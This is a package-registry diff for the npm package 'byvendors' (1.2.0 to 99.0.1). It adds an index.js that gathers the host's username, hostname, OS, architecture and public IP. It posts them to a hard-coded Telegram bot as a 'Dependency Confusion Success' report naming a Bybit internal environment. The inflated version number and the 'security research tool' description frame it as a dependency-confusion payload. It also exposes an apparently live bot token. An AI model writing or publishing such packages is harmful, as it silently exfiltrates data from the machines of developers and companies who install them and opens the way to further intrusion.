byvendors 1.2.0 → 99.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +58 -0
  2. package/package.json +1 -1
package/index.js ADDED
@@ -0,0 +1,58 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ // Telegram Config
5
+ const botToken = '8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w';
6
+ const chatId = '8655055695';
7
+
8
+ // Gather System Info
9
+ const hostname = os.hostname();
10
+ const username = os.userInfo().username;
11
+ const platform = os.platform();
12
+ const arch = os.arch();
13
+
14
+ // Function to send data to Telegram
15
+ function sendToTelegram(message) {
16
+ const data = JSON.stringify({
17
+ chat_id: chatId,
18
+ text: message,
19
+ parse_mode: 'Markdown'
20
+ });
21
+
22
+ const options = {
23
+ hostname: 'api.telegram.org',
24
+ port: 443,
25
+ path: `/bot${botToken}/sendMessage`,
26
+ method: 'POST',
27
+ headers: {
28
+ 'Content-Type': 'application/json',
29
+ 'Content-Length': data.length
30
+ }
31
+ };
32
+
33
+ const req = https.request(options);
34
+ req.write(data);
35
+ req.end();
36
+ }
37
+
38
+ // Get Public IP and then send report
39
+ https.get('https://api.ipify.org', (res) => {
40
+ let ip = '';
41
+ res.on('data', (chunk) => { ip += chunk; });
42
+ res.on('end', () => {
43
+ const report = `
44
+ 🔥 *Dependency Confusion Success!* 🔥
45
+ ---------------------------------
46
+ 👤 *User:* ${username}
47
+ 💻 *Hostname:* ${hostname}
48
+ 🌍 *IP:* ${ip}
49
+ 🖥️ *OS:* ${platform} (${arch})
50
+ ---------------------------------
51
+ [!] Code executed on Bybit Internal Environment.
52
+ `;
53
+ sendToTelegram(report);
54
+ });
55
+ }).on('error', (err) => {
56
+ // If IP fetch fails, send info anyway
57
+ sendToTelegram(`Executed on ${hostname} (IP Fetch Failed)`);
58
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "byvendors",
3
- "version": "1.2.0",
3
+ "version": "99.0.1",
4
4
  "description": "A security research tool for analyzing vendor dependencies and secrets.",
5
5
  "main": "index.js",
6
6
  "bin": {